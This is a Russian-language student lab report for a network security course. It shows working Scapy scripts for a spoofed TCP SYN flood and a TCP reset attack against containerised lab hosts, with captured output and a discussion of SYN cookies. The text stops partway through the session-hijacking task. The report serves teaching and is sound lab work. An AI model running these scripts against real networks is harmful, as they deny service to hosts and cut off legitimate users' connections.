# Домашняя работа № 2 по предмету: «Безопасность вычислительных сетей»
## Описание лабораторной работы
Цель лабораторной работы — получить непосредственный опыт работы с уязвимостями, а также с атаками на эти уязвимости.

В этой лабораторной работе вы проведете несколько атак на TCP:

1. TCP SYN flood attack, and SYN cookies;
2. TCP reset attack;
3. TCP session hijacking attack.

В лабораторной работе четыре контейнера: три машины легитимных пользователей и одна машина атакующего.
![Lab Stand](img/image01.png)

## Задача 1 «TCP SYN flood attack».
`
Код отправляет поддельные пакеты TCP SYN со случайно сгенерированным исходным IP-адресом, исходным портом и порядковым номером.
Подождите хотя бы одну минуту, а затем попытайтесь подключиться к жертве с помощью Telnet. Получится ли у вас добиться успеха? Подключиться можно через хост машины Victim (все дальнейшие проверки следует проводить через нее).
`

Python-скрипт для атаки:
```python
#!/usr/bin/python3

from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits

ip = IP(dst="10.3.0.4")
tcp = TCP(dport=23, flags='S')
pkt = ip/tcp
 
while True:
    pkt[IP].src = str(IPv4Address(getrandbits(32)))
    pkt[TCP].sport = getrandbits(16)
    pkt[TCP].seq = getrandbits(32)
    send(pkt, iface = 'eth0', verbose = 0)

```

### Задача 1.1 
`net.ipv4.tcp_syncookies=0` - SYN Cookies на жертве (Victim) отключены.

#### Выполнение задачи:

1. Запустим скрипт на `seed-attacker` и посмотрим наличие подключений на `Victim`.

Листинг `seed-attacker`: 

```bash
┌──(marker㉿kali)-[~]
└─$ docker exec -it seed-attacker /bin/bash

root@7552dc4712a7:/# ./volume/opt1.py
```
Листинг `Victim`: 
```bash
┌──(marker㉿kali)-[~]
└─$ docker exec -it Victim /bin/bash
root@c1ce515eff6f:/# ss -t4a
State          Recv-Q       Send-Q             Local Address:Port                  Peer Address:Port       Process
LISTEN         0            4096                  127.0.0.11:36247                      0.0.0.0:*
LISTEN         0            128                      0.0.0.0:telnet                     0.0.0.0:*
SYN-RECV       0            0                       10.3.0.4:telnet                158.3.195.40:63498
SYN-RECV       0            0                       10.3.0.4:telnet              68.112.126.190:38173
SYN-RECV       0            0                       10.3.0.4:telnet              35.165.229.103:19782
SYN-RECV       0            0                       10.3.0.4:telnet             223.152.125.135:15332
SYN-RECV       0            0                       10.3.0.4:telnet                61.203.9.143:15695
SYN-RECV       0            0                       10.3.0.4:telnet               255.206.99.32:60814
SYN-RECV       0            0                       10.3.0.4:telnet             170.124.119.247:26556
SYN-RECV       0            0                       10.3.0.4:telnet                52.3.217.249:9740
SYN-RECV       0            0                       10.3.0.4:telnet              164.232.55.253:12359
SYN-RECV       0            0                       10.3.0.4:telnet               241.193.45.30:30514
SYN-RECV       0            0                       10.3.0.4:telnet              142.136.178.68:48908
SYN-RECV       0            0                       10.3.0.4:telnet               169.127.7.200:28752
SYN-RECV       0            0                       10.3.0.4:telnet                164.46.133.1:51723
SYN-RECV       0            0                       10.3.0.4:telnet               30.31.252.194:25101
SYN-RECV       0            0                       10.3.0.4:telnet              128.80.132.146:47391
SYN-RECV       0            0                       10.3.0.4:telnet              212.103.101.22:46695
SYN-RECV       0            0                       10.3.0.4:telnet              168.126.69.223:2779
SYN-RECV       0            0                       10.3.0.4:telnet             106.227.225.114:40267
SYN-RECV       0            0                       10.3.0.4:telnet               205.30.153.72:63313
SYN-RECV       0            0                       10.3.0.4:telnet              182.37.132.171:9133
SYN-RECV       0            0                       10.3.0.4:telnet              193.129.141.24:27999
SYN-RECV       0            0                       10.3.0.4:telnet              105.70.138.201:52946
SYN-RECV       0            0                       10.3.0.4:telnet                 85.161.8.71:23835
SYN-RECV       0            0                       10.3.0.4:telnet             172.101.184.243:63721
SYN-RECV       0            0                       10.3.0.4:telnet              113.162.77.216:42567
SYN-RECV       0            0                       10.3.0.4:telnet               124.15.77.255:47959
SYN-RECV       0            0                       10.3.0.4:telnet                71.74.115.95:61061
SYN-RECV       0            0                       10.3.0.4:telnet               244.169.200.1:28506
SYN-RECV       0            0                       10.3.0.4:telnet               43.185.198.71:10477
SYN-RECV       0            0                       10.3.0.4:telnet                6.153.18.179:64006
SYN-RECV       0            0                       10.3.0.4:telnet                 91.3.85.152:38253
SYN-RECV       0            0                       10.3.0.4:telnet               12.174.198.73:15419
SYN-RECV       0            0                       10.3.0.4:telnet               32.79.155.173:33205
SYN-RECV       0            0                       10.3.0.4:telnet               206.9.216.119:25906
SYN-RECV       0            0                       10.3.0.4:telnet              174.214.52.195:53607
SYN-RECV       0            0                       10.3.0.4:telnet              162.128.57.123:19642
SYN-RECV       0            0                       10.3.0.4:telnet               85.47.254.100:57247
SYN-RECV       0            0                       10.3.0.4:telnet               110.163.192.5:25076
SYN-RECV       0            0                       10.3.0.4:telnet              158.21.174.242:50213
SYN-RECV       0            0                       10.3.0.4:telnet               28.127.92.138:23754
SYN-RECV       0            0                       10.3.0.4:telnet              128.14.169.102:17831
SYN-RECV       0            0                       10.3.0.4:telnet               182.54.130.73:33873
SYN-RECV       0            0                       10.3.0.4:telnet             140.248.111.171:957
SYN-RECV       0            0                       10.3.0.4:telnet              28.155.173.107:475
SYN-RECV       0            0                       10.3.0.4:telnet               170.77.97.244:26726
SYN-RECV       0            0                       10.3.0.4:telnet             190.143.212.253:132
SYN-RECV       0            0                       10.3.0.4:telnet              155.227.189.26:40335
SYN-RECV       0            0                       10.3.0.4:telnet               72.225.114.86:38447
SYN-RECV       0            0                       10.3.0.4:telnet                  60.96.3.80:27168
SYN-RECV       0            0                       10.3.0.4:telnet             142.187.166.211:33573
SYN-RECV       0            0                       10.3.0.4:telnet                 65.12.78.96:26432
SYN-RECV       0            0                       10.3.0.4:telnet             118.217.175.101:58536
SYN-RECV       0            0                       10.3.0.4:telnet               34.60.246.132:38453
SYN-RECV       0            0                       10.3.0.4:telnet                43.227.33.66:19153
SYN-RECV       0            0                       10.3.0.4:telnet             222.220.229.204:12038
SYN-RECV       0            0                       10.3.0.4:telnet               149.39.221.94:41871
SYN-RECV       0            0                       10.3.0.4:telnet               35.153.15.193:23372
SYN-RECV       0            0                       10.3.0.4:telnet                144.41.43.28:6615
SYN-RECV       0            0                       10.3.0.4:telnet               90.199.83.251:42295
SYN-RECV       0            0                       10.3.0.4:telnet              74.115.119.245:36185
SYN-RECV       0            0                       10.3.0.4:telnet              222.179.99.248:7329
SYN-RECV       0            0                       10.3.0.4:telnet              188.221.77.103:59499
SYN-RECV       0            0                       10.3.0.4:telnet              120.30.189.201:42384
SYN-RECV       0            0                       10.3.0.4:telnet              116.109.255.44:63489
SYN-RECV       0            0                       10.3.0.4:telnet              184.48.224.156:25463
SYN-RECV       0            0                       10.3.0.4:telnet                 101.9.97.29:6589
SYN-RECV       0            0                       10.3.0.4:telnet               88.124.93.154:10414
SYN-RECV       0            0                       10.3.0.4:telnet               57.169.50.152:38671
SYN-RECV       0            0                       10.3.0.4:telnet               9.182.150.232:65338
SYN-RECV       0            0                       10.3.0.4:telnet                41.10.253.44:46509
SYN-RECV       0            0                       10.3.0.4:telnet              162.133.50.166:36175
SYN-RECV       0            0                       10.3.0.4:telnet              59.238.207.201:5967
SYN-RECV       0            0                       10.3.0.4:telnet               11.111.229.68:57707
SYN-RECV       0            0                       10.3.0.4:telnet             244.194.124.160:40218
SYN-RECV       0            0                       10.3.0.4:telnet               83.29.237.183:3989
SYN-RECV       0            0                       10.3.0.4:telnet               101.64.206.92:51178
SYN-RECV       0            0                       10.3.0.4:telnet               177.23.166.58:12932
SYN-RECV       0            0                       10.3.0.4:telnet                89.15.11.238:13961
SYN-RECV       0            0                       10.3.0.4:telnet              212.64.194.218:21478
SYN-RECV       0            0                       10.3.0.4:telnet              163.218.76.207:26101
SYN-RECV       0            0                       10.3.0.4:telnet              188.132.173.32:31742
SYN-RECV       0            0                       10.3.0.4:telnet                 4.63.123.81:47630
SYN-RECV       0            0                       10.3.0.4:telnet              113.116.81.171:5453
SYN-RECV       0            0                       10.3.0.4:telnet              255.72.111.137:52032
SYN-RECV       0            0                       10.3.0.4:telnet                36.198.2.211:65472
SYN-RECV       0            0                       10.3.0.4:telnet              247.162.128.86:11958
SYN-RECV       0            0                       10.3.0.4:telnet                 62.75.93.58:9085
SYN-RECV       0            0                       10.3.0.4:telnet              105.192.66.155:18524
SYN-RECV       0            0                       10.3.0.4:telnet               83.205.134.50:18579
SYN-RECV       0            0                       10.3.0.4:telnet              100.75.229.233:40304
SYN-RECV       0            0                       10.3.0.4:telnet              249.109.36.201:36192
SYN-RECV       0            0                       10.3.0.4:telnet               206.180.21.66:59312
SYN-RECV       0            0                       10.3.0.4:telnet               10.128.83.150:17815
SYN-RECV       0            0                       10.3.0.4:telnet               145.34.175.51:4006
SYN-RECV       0            0                       10.3.0.4:telnet             153.240.241.137:33534
SYN-RECV       0            0                       10.3.0.4:telnet              108.254.65.200:37901
SYN-RECV       0            0                       10.3.0.4:telnet              221.225.89.253:36264
SYN-RECV       0            0                       10.3.0.4:telnet             118.232.151.247:8717
SYN-RECV       0            0                       10.3.0.4:telnet               201.41.203.96:56927
SYN-RECV       0            0                       10.3.0.4:telnet              67.142.179.214:37394
SYN-RECV       0            0                       10.3.0.4:telnet              208.107.192.91:36944
SYN-RECV       0            0                       10.3.0.4:telnet             211.227.162.197:3944
SYN-RECV       0            0                       10.3.0.4:telnet             188.223.177.201:40671
SYN-RECV       0            0                       10.3.0.4:telnet              78.135.247.222:17643
SYN-RECV       0            0                       10.3.0.4:telnet                 108.83.96.3:2852
SYN-RECV       0            0                       10.3.0.4:telnet             142.213.104.206:29514
SYN-RECV       0            0                       10.3.0.4:telnet               160.145.50.39:50538
SYN-RECV       0            0                       10.3.0.4:telnet             161.152.196.165:4955
SYN-RECV       0            0                       10.3.0.4:telnet             241.166.228.192:60093
SYN-RECV       0            0                       10.3.0.4:telnet                  80.6.1.157:43426
SYN-RECV       0            0                       10.3.0.4:telnet              240.101.37.241:58135
SYN-RECV       0            0                       10.3.0.4:telnet               16.76.239.128:21463
SYN-RECV       0            0                       10.3.0.4:telnet              193.32.104.199:19927
SYN-RECV       0            0                       10.3.0.4:telnet               45.41.161.117:9061
SYN-RECV       0            0                       10.3.0.4:telnet                 141.6.97.30:49660
SYN-RECV       0            0                       10.3.0.4:telnet                132.232.6.19:2651
SYN-RECV       0            0                       10.3.0.4:telnet              105.60.200.215:21117
SYN-RECV       0            0                       10.3.0.4:telnet               47.151.76.132:38787
SYN-RECV       0            0                       10.3.0.4:telnet              243.62.126.231:28478
SYN-RECV       0            0                       10.3.0.4:telnet              118.246.71.121:31682
SYN-RECV       0            0                       10.3.0.4:telnet              194.220.80.110:29664
SYN-RECV       0            0                       10.3.0.4:telnet               66.253.232.91:32490
SYN-RECV       0            0                       10.3.0.4:telnet               61.229.49.119:49516
SYN-RECV       0            0                       10.3.0.4:telnet             120.235.163.180:50010
SYN-RECV       0            0                       10.3.0.4:telnet               89.60.103.203:54792
SYN-RECV       0            0                       10.3.0.4:telnet              32.207.129.235:912
SYN-RECV       0            0                       10.3.0.4:telnet                39.5.255.223:59359
SYN-RECV       0            0                       10.3.0.4:telnet              104.113.33.147:63898
```

2. Проверим возможность подключения к `Victim` с `HostB`
```bash
┌──(marker㉿kali)-[~]
└─$ docker exec -it HostB telnet Victim
Trying 10.3.0.4...
Connected to Victim.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
c1ce515eff6f login:
```
В данном случае, мы видим успешный вывод приглашения. Можно предположить, что атака не удалась, но зная, что возможности очереди машины зависят от её характеристик, не будет лишним попробовать запустить сразу несколько экземпляров скрипта на `seed-attacker` добавив операнд `&` к команде запуска:

`root@7552dc4712a7:/# ./volume/opt1.py &`

3. Запустим 15 экземпляров скрипта одновременно и проверим возможность подключения:

```bash
root@7552dc4712a7:/# ./volume/opt1.py &
[1] 40
root@7552dc4712a7:/# ./volume/opt1.py &
[2] 44
root@7552dc4712a7:/# ./volume/opt1.py &
[3] 48
root@7552dc4712a7:/# ./volume/opt1.py &
[4] 52
root@7552dc4712a7:/# ./volume/opt1.py &
[5] 56
root@7552dc4712a7:/# ./volume/opt1.py &
[6] 60
root@7552dc4712a7:/# ./volume/opt1.py &
[7] 64
root@7552dc4712a7:/# ./volume/opt1.py &
[8] 68
root@7552dc4712a7:/# ./volume/opt1.py &
[9] 72
root@7552dc4712a7:/# ./volume/opt1.py &
[10] 76
root@7552dc4712a7:/# ./volume/opt1.py &
[11] 80
root@7552dc4712a7:/# ./volume/opt1.py &
[12] 84
root@7552dc4712a7:/# ./volume/opt1.py &
[13] 88
root@7552dc4712a7:/# ./volume/opt1.py &
[14] 92
root@7552dc4712a7:/# ./volume/opt1.py &
[15] 96
```
4. Подключение выполняется, но с большими задержками (от 10 до 30 секунд). Атаку можно считать успешной.

#### Итог задачи 1.1
Атака при `net.ipv4.tcp_syncookies=0` производится **успешно**!

### Задача 1.2

`net.ipv4.tcp_syncookies=1` - SYN Cookies на жертве (Victim) включены.

Время провести попытку с включенным механизмом syncookies. Для этого пересоздадим контейнер `Victim` установив значение строки `net.ipv4.tcp_syncookies=1` в docker-compose.yaml

```bash
┌──(marker㉿kali)-[~/…/pentest/01-network/01-tcpip/02-tcp]
└─$ docker-compose up -d
HostB is up-to-date
HostA is up-to-date
seed-attacker is up-to-date
Recreating Victim ... done
```
#### Выполнение задачи

1. Так как мы пересоздали только контейнер `Victim` необходимости перезапускать скрипты нет, можно убедиться только в наличии подключений на `Victim`

```bash
┌──(marker㉿kali)-[~]
└─$ docker exec -it Victim ss -t4a
State          Recv-Q       Send-Q             Local Address:Port                  Peer Address:Port       Process
LISTEN         0            4096                  127.0.0.11:40647                      0.0.0.0:*
LISTEN         0            128                      0.0.0.0:telnet                     0.0.0.0:*
SYN-RECV       0            0                       10.3.0.4:telnet              108.27.226.102:5104
SYN-RECV       0            0                       10.3.0.4:telnet              73.160.236.206:6860
SYN-RECV       0            0                       10.3.0.4:telnet                1.25.214.186:57581
SYN-RECV       0            0                       10.3.0.4:telnet              195.108.61.207:19857
SYN-RECV       0            0                       10.3.0.4:telnet              58.175.239.163:46032
SYN-RECV       0            0                       10.3.0.4:telnet                65.125.87.11:39861
SYN-RECV       0            0                       10.3.0.4:telnet                 66.48.143.8:54418
SYN-RECV       0            0                       10.3.0.4:telnet               103.157.54.82:63169
SYN-RECV       0            0                       10.3.0.4:telnet              21.208.194.188:23330
SYN-RECV       0            0                       10.3.0.4:telnet              168.107.191.96:38867
SYN-RECV       0            0                       10.3.0.4:telnet               138.53.84.222:9522
SYN-RECV       0            0                       10.3.0.4:telnet              23.239.108.253:57752
SYN-RECV       0            0                       10.3.0.4:telnet             207.255.101.226:42752
SYN-RECV       0            0                       10.3.0.4:telnet               31.98.248.252:54624
SYN-RECV       0            0                       10.3.0.4:telnet             153.149.254.217:57045
SYN-RECV       0            0                       10.3.0.4:telnet              110.90.139.107:45601
SYN-RECV       0            0                       10.3.0.4:telnet               63.215.107.84:61401
SYN-RECV       0            0                       10.3.0.4:telnet                30.192.12.91:48795
SYN-RECV       0            0                       10.3.0.4:telnet              160.28.246.103:36530
SYN-RECV       0            0                       10.3.0.4:telnet                173.14.71.55:22736
SYN-RECV       0            0                       10.3.0.4:telnet               2.147.136.249:60366
SYN-RECV       0            0                       10.3.0.4:telnet               128.143.50.25:31526
SYN-RECV       0            0                       10.3.0.4:telnet              18.245.103.194:58594
SYN-RECV       0            0                       10.3.0.4:telnet               199.55.89.215:12389
SYN-RECV       0            0                       10.3.0.4:telnet               75.87.156.253:2150
SYN-RECV       0            0                       10.3.0.4:telnet               36.125.204.38:40431
SYN-RECV       0            0                       10.3.0.4:telnet              29.174.150.228:3279
SYN-RECV       0            0                       10.3.0.4:telnet               103.182.14.81:8287
SYN-RECV       0            0                       10.3.0.4:telnet               7.195.187.110:42890
SYN-RECV       0            0                       10.3.0.4:telnet              48.112.154.154:27219
SYN-RECV       0            0                       10.3.0.4:telnet                24.19.187.21:43326
SYN-RECV       0            0                       10.3.0.4:telnet               21.175.158.40:28366
SYN-RECV       0            0                       10.3.0.4:telnet              164.210.118.69:60534
SYN-RECV       0            0                       10.3.0.4:telnet               34.42.220.155:58476
SYN-RECV       0            0                       10.3.0.4:telnet               213.180.124.2:49861
SYN-RECV       0            0                       10.3.0.4:telnet              103.11.249.237:56808
SYN-RECV       0            0                       10.3.0.4:telnet              120.247.60.217:4743
SYN-RECV       0            0                       10.3.0.4:telnet               218.226.80.53:34253
SYN-RECV       0            0                       10.3.0.4:telnet              42.145.114.221:49653
SYN-RECV       0            0                       10.3.0.4:telnet                7.240.255.81:27771
SYN-RECV       0            0                       10.3.0.4:telnet              143.58.200.245:33149
SYN-RECV       0            0                       10.3.0.4:telnet               69.34.181.160:5278
SYN-RECV       0            0                       10.3.0.4:telnet               213.61.103.79:44805
SYN-RECV       0            0                       10.3.0.4:telnet               158.80.85.163:17839
SYN-RECV       0            0                       10.3.0.4:telnet                166.43.252.1:35071
SYN-RECV       0            0                       10.3.0.4:telnet              108.96.192.139:9072
SYN-RECV       0            0                       10.3.0.4:telnet                5.21.112.104:21394
SYN-RECV       0            0                       10.3.0.4:telnet               162.25.70.105:60609
SYN-RECV       0            0                       10.3.0.4:telnet               80.161.149.89:23925
SYN-RECV       0            0                       10.3.0.4:telnet              141.38.182.231:3744
SYN-RECV       0            0                       10.3.0.4:telnet              95.234.149.125:251
SYN-RECV       0            0                       10.3.0.4:telnet             217.225.241.180:59771
SYN-RECV       0            0                       10.3.0.4:telnet             146.229.210.242:43953
SYN-RECV       0            0                       10.3.0.4:telnet              154.195.122.28:18065
SYN-RECV       0            0                       10.3.0.4:telnet             181.238.166.233:11863
SYN-RECV       0            0                       10.3.0.4:telnet               167.90.141.48:25317
SYN-RECV       0            0                       10.3.0.4:telnet               39.193.36.206:14815
SYN-RECV       0            0                       10.3.0.4:telnet               44.45.173.240:6168
SYN-RECV       0            0                       10.3.0.4:telnet              111.145.48.231:22391
SYN-RECV       0            0                       10.3.0.4:telnet                92.7.156.199:24283
SYN-RECV       0            0                       10.3.0.4:telnet               109.88.74.126:41634
SYN-RECV       0            0                       10.3.0.4:telnet               88.83.198.125:13924
SYN-RECV       0            0                       10.3.0.4:telnet               216.128.126.5:56934
SYN-RECV       0            0                       10.3.0.4:telnet              173.71.112.248:3183
SYN-RECV       0            0                       10.3.0.4:telnet              151.101.172.76:11086
SYN-RECV       0            0                       10.3.0.4:telnet              42.189.187.110:42000
SYN-RECV       0            0                       10.3.0.4:telnet               72.85.104.196:8777
SYN-RECV       0            0                       10.3.0.4:telnet              115.140.156.34:12861
SYN-RECV       0            0                       10.3.0.4:telnet              94.138.192.212:47483
SYN-RECV       0            0                       10.3.0.4:telnet              137.246.29.219:28520
SYN-RECV       0            0                       10.3.0.4:telnet                 246.25.91.6:18763
SYN-RECV       0            0                       10.3.0.4:telnet              126.160.117.95:36546
SYN-RECV       0            0                       10.3.0.4:telnet                90.97.71.218:55907
SYN-RECV       0            0                       10.3.0.4:telnet              59.158.190.243:41916
SYN-RECV       0            0                       10.3.0.4:telnet                99.36.72.222:20953
SYN-RECV       0            0                       10.3.0.4:telnet               41.251.20.154:24466
SYN-RECV       0            0                       10.3.0.4:telnet                  3.3.15.105:39580
SYN-RECV       0            0                       10.3.0.4:telnet               155.19.51.115:31768
SYN-RECV       0            0                       10.3.0.4:telnet              201.32.112.228:37389
SYN-RECV       0            0                       10.3.0.4:telnet              109.168.237.66:7420
SYN-RECV       0            0                       10.3.0.4:telnet                153.89.8.208:50018
SYN-RECV       0            0                       10.3.0.4:telnet                 83.235.84.0:20745
SYN-RECV       0            0                       10.3.0.4:telnet                72.39.57.159:13316
SYN-RECV       0            0                       10.3.0.4:telnet              200.117.234.28:28479
SYN-RECV       0            0                       10.3.0.4:telnet                59.49.246.45:60117
SYN-RECV       0            0                       10.3.0.4:telnet                208.51.26.83:28652
SYN-RECV       0            0                       10.3.0.4:telnet                  5.84.41.41:23684
SYN-RECV       0            0                       10.3.0.4:telnet               240.98.74.178:30076
SYN-RECV       0            0                       10.3.0.4:telnet              192.205.144.26:55242
SYN-RECV       0            0                       10.3.0.4:telnet               218.56.164.34:30890
SYN-RECV       0            0                       10.3.0.4:telnet                18.73.28.181:1097
SYN-RECV       0            0                       10.3.0.4:telnet                  8.32.26.66:58232
SYN-RECV       0            0                       10.3.0.4:telnet               27.247.195.32:3246
SYN-RECV       0            0                       10.3.0.4:telnet                67.76.249.89:36674
SYN-RECV       0            0                       10.3.0.4:telnet             183.232.155.249:34478
SYN-RECV       0            0                       10.3.0.4:telnet                 27.86.84.54:29173
SYN-RECV       0            0                       10.3.0.4:telnet              138.165.85.141:17408
SYN-RECV       0            0                       10.3.0.4:telnet               116.21.101.61:45236
SYN-RECV       0            0                       10.3.0.4:telnet              175.44.125.225:466
SYN-RECV       0            0                       10.3.0.4:telnet                216.66.253.9:26636
SYN-RECV       0            0                       10.3.0.4:telnet               59.108.99.169:30039
SYN-RECV       0            0                       10.3.0.4:telnet               39.85.136.219:37845
SYN-RECV       0            0                       10.3.0.4:telnet                 48.0.195.61:20322
SYN-RECV       0            0                       10.3.0.4:telnet                29.51.136.15:37360
SYN-RECV       0            0                       10.3.0.4:telnet              109.45.185.107:64550
SYN-RECV       0            0                       10.3.0.4:telnet              212.126.191.57:53052
SYN-RECV       0            0                       10.3.0.4:telnet             215.189.234.143:41317
SYN-RECV       0            0                       10.3.0.4:telnet              109.203.202.22:26954
SYN-RECV       0            0                       10.3.0.4:telnet               93.249.23.245:675
SYN-RECV       0            0                       10.3.0.4:telnet               196.92.153.45:42899
SYN-RECV       0            0                       10.3.0.4:telnet                 89.95.77.50:19402
SYN-RECV       0            0                       10.3.0.4:telnet               72.108.205.97:41939
SYN-RECV       0            0                       10.3.0.4:telnet               18.86.157.171:56327
SYN-RECV       0            0                       10.3.0.4:telnet                207.92.81.59:43164
SYN-RECV       0            0                       10.3.0.4:telnet               65.224.35.250:22195
SYN-RECV       0            0                       10.3.0.4:telnet              155.38.175.253:62408
SYN-RECV       0            0                       10.3.0.4:telnet               31.97.126.171:8731
SYN-RECV       0            0                       10.3.0.4:telnet              130.73.216.158:54260
SYN-RECV       0            0                       10.3.0.4:telnet              159.178.81.125:58782
SYN-RECV       0            0                       10.3.0.4:telnet               80.43.110.182:15577
SYN-RECV       0            0                       10.3.0.4:telnet              41.204.143.205:57513
SYN-RECV       0            0                       10.3.0.4:telnet               39.206.85.139:8549
SYN-RECV       0            0                       10.3.0.4:telnet              43.223.132.191:10875
SYN-RECV       0            0                       10.3.0.4:telnet              204.26.154.217:64975
```

2. Подключения на месте. Проверим возможность подключения по Telnet.
```bash
┌──(marker㉿kali)-[~]
└─$ docker exec -it HostB telnet Victim
Trying 10.3.0.4...
Connected to Victim.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
6796bc79f91e login: ^X^CConnection closed by foreign host.

┌──(marker㉿kali)-[~]
└─$ docker exec -it HostB telnet Victim
Trying 10.3.0.4...
Connected to Victim.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
6796bc79f91e login: ^CConnection closed by foreign host.

┌──(marker㉿kali)-[~]
└─$ docker exec -it HostB telnet Victim
Trying 10.3.0.4...
Connected to Victim.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
6796bc79f91e login: ^CConnection closed by foreign host.

┌──(marker㉿kali)-[~]
└─$ docker exec -it HostB telnet Victim
Trying 10.3.0.4...
Connected to Victim.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
6796bc79f91e login: ^CConnection closed by foreign host.
```
Проведя 4 попытки подключения и мгновенно увидев баннер Telnet можем сделать вывод, что в этот раз атака не удалась.

#### Итог задачи 1.1
Атака при `net.ipv4.tcp_syncookies=1` производится **неудачно**.

### Итог задачи 1.

Механизм TCP SYN cookies позволяет серверу генерировать специальные сокращенные версии TCP-заголовков (cookies) в ответ на входящие запросы SYN, сохраняя минимум информации о соединении. Когда сервер получает подтверждение от клиента (ACK-пакет), он может восстановить полную информацию о соединении из сокращенной версии TCP-заголовка, инициированной в SYN-пакете.

Этот механизм позволяет серверу обрабатывать и отвечать на большое количество входящих соединений даже в условиях атаки SYN flood, так как он не хранит информацию о незавершенных соединениях в памяти, а использует специальные cookie для отслеживания состояния соединения.

TCP SYN cookies - это один из методов защиты от атак на уровне TCP, который повышает устойчивость серверов к подобным атакам и обеспечивает непрерывность работы сетевых служб.

## Задача 2. TCP reset attack 

1. Для выполнения атаки нам необходимо получить вводные данные. Для этого в момент подключения с `HostB` к `Victim` будем слушать трафик между ними с помощью `tcpdump`

Выполняем подключение с `HostB` к `Victim`

```bash
┌──(marker㉿kali)-[~]
└─$ docker exec -it HostB telnet Victim
Trying 10.3.0.4...
Connected to Victim.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
f781be235ebf login: root
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 6.6.9-amd64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Mon Mar  4 19:45:56 UTC 2024 from HostB.net-1 on pts/1
root@f781be235ebf:~#

```

"Слушаем" трафик с помощью `tcpdump`
```bash
┌──(marker㉿kali)-[~]
└─$ sudo tcpdump -i br-932aa0b67a23 port 23 -S

14:50:10.308304 IP 10.3.0.4.telnet > 10.3.0.3.55418: Flags [P.], seq 825594434:825594502, ack 3707590235, win 249, options [nop,nop,TS val 1822356222 ecr 1858411726], length 68
14:50:10.308324 IP 10.3.0.3.55418 > 10.3.0.4.telnet: Flags [.], ack 825594502, win 249, options [nop,nop,TS val 1858411726 ecr 1822356222], length 0
14:50:10.315817 IP 10.3.0.4.telnet > 10.3.0.3.55418: Flags [P.], seq 825594502:825594523, ack 3707590235, win 249, options [nop,nop,TS val 1822356230 ecr 1858411726], length 21
14:50:10.315850 IP 10.3.0.3.55418 > 10.3.0.4.telnet: Flags [.], ack 825594523, win 249, options [nop,nop,TS val 1858411734 ecr 1822356230], length 0
```

В логах трафика нам необходимо получить данные для наполнения скрипта -- `src`, `dst`, `sport`, `dport` и `seq`.
| **Параметр** | **Значение** | **Примечание** |
| --- | --- | --- |
| src | 10.3.0.3 | IP-адрес `HostB` |
| dst | 10.3.0.4 | IP-адрес `Victim` |
| sport | 55418 | Номер порта, с которого `HostB` устанавливает подключение |
| dport | 23 | Номер порта telnet на `Victim` |
| seq | 3707590235 | Номер следующей последовательности, который ожидает `Victim` от `HostB`  |

2. Подставим полученные данные в скрипт `opt2.py` для проведения атаки.

```python
#!/usr/bin/env python3
from scapy.all import IP,TCP,send,ls
ip = IP(src="10.3.0.3", dst="10.3.0.4")
tcp = TCP(sport=55418, dport=23, flags="R", seq=3707590235)
pkt = ip/tcp
ls(pkt)
send(pkt, verbose=0)
```
3. Выполним атакующий скрипт
   
```bash
┌──(marker㉿kali)-[~]
└─$ docker exec -it Victim ./volume/opt2.py
version    : BitField  (4 bits)                  = 4               (4)
ihl        : BitField  (4 bits)                  = None            (None)
tos        : XByteField                          = 0               (0)
len        : ShortField                          = None            (None)
id         : ShortField                          = 1               (1)
flags      : FlagsField  (3 bits)                = <Flag 0 ()>     (<Flag 0 ()>)
frag       : BitField  (13 bits)                 = 0               (0)
ttl        : ByteField                           = 64              (64)
proto      : ByteEnumField                       = 6               (0)
chksum     : XShortField                         = None            (None)
src        : SourceIPField                       = '10.3.0.3'      (None)
dst        : DestIPField                         = '10.3.0.4'      (None)
options    : PacketListField                     = []              ([])
--
sport      : ShortEnumField                      = 55418           (20)
dport      : ShortEnumField                      = 23              (80)
seq        : IntField                            = 3707590235      (0)
ack        : IntField                            = 0               (0)
dataofs    : BitField  (4 bits)                  = None            (None)
reserved   : BitField  (3 bits)                  = 0               (0)
flags      : FlagsField  (9 bits)                = <Flag 4 (R)>    (<Flag 2 (S)>)
window     : ShortField                          = 8192            (8192)
chksum     : XShortField                         = None            (None)
urgptr     : ShortField                          = 0               (0)
options    : TCPOptionsField                     = []              (b'')
```
4. Убедимся в наличии RST-пакета в `tcpdump`
```
14:52:18.312274 IP 10.3.0.3.55418 > 10.3.0.4.telnet: Flags [R], seq 3707590235, win 8192, length 0
```
5. Проверим состояние соединения путём нажатия Enter в подключении `telnet`
```
root@f781be235ebf:~# Connection closed by foreign host.
```

Согласно выводу, соединение было закрыто, атаку можно считать успешной.

### Итог задачи 2.
TCP RST (Reset) атака - это форма атаки на уровне TCP, которая может быть использована для нарушения установленных TCP-соединений между клиентом и сервером.

Принцип работы атаки заключается в отправке поддельных RST-пакетов (пакетов сброса соединения) от имени одной из сторон (обычно от сервера) для преждевременного завершения установленного TCP-соединения. Это может привести к разрыву соединения и прекращению обмена данными между клиентом и сервером.

Несмотря на вышеописанное, подготовка к такой атаке является довольно сложной на практике, ведь злоумышленник должен иметь доступ к трафику внутри сети для правильного составления атакующего пакета.



## Задача 3. TCP Session Hijacking attack

1. Аналогично заданию 2 установим Тelnet-сессию между узлами `HostB` и `Victim` и соберем исходные данные. Скелет кода похож на тот, который указан в задании 2, отличается лишь сегментом TCP и необходимостью добавления блока данных. 

Основываясь на данных из `tcpdump` заполним нашу таблицу:
```
...
15:44:49.999520 IP 10.3.0.4.telnet > 10.3.0.3.60124: Flags [P.], seq 482847749:482847772, ack 1386786213, win 249, options [nop,nop,TS val 1825635913 ecr 1861691417], length 23
15:44:49.999547 IP 10.3.0.3.60124 > 10.3.0.4.telnet: Flags [.], ack 482847772, win 249, options [nop,nop,TS val 1861691417 ecr 1825635913], length 0
```
Таблица: 
| **Параметр** | **Значение** | **Примечание** |
| --- | --- | --- |
| src | 10.3.0.3 | IP-адрес `HostB` |
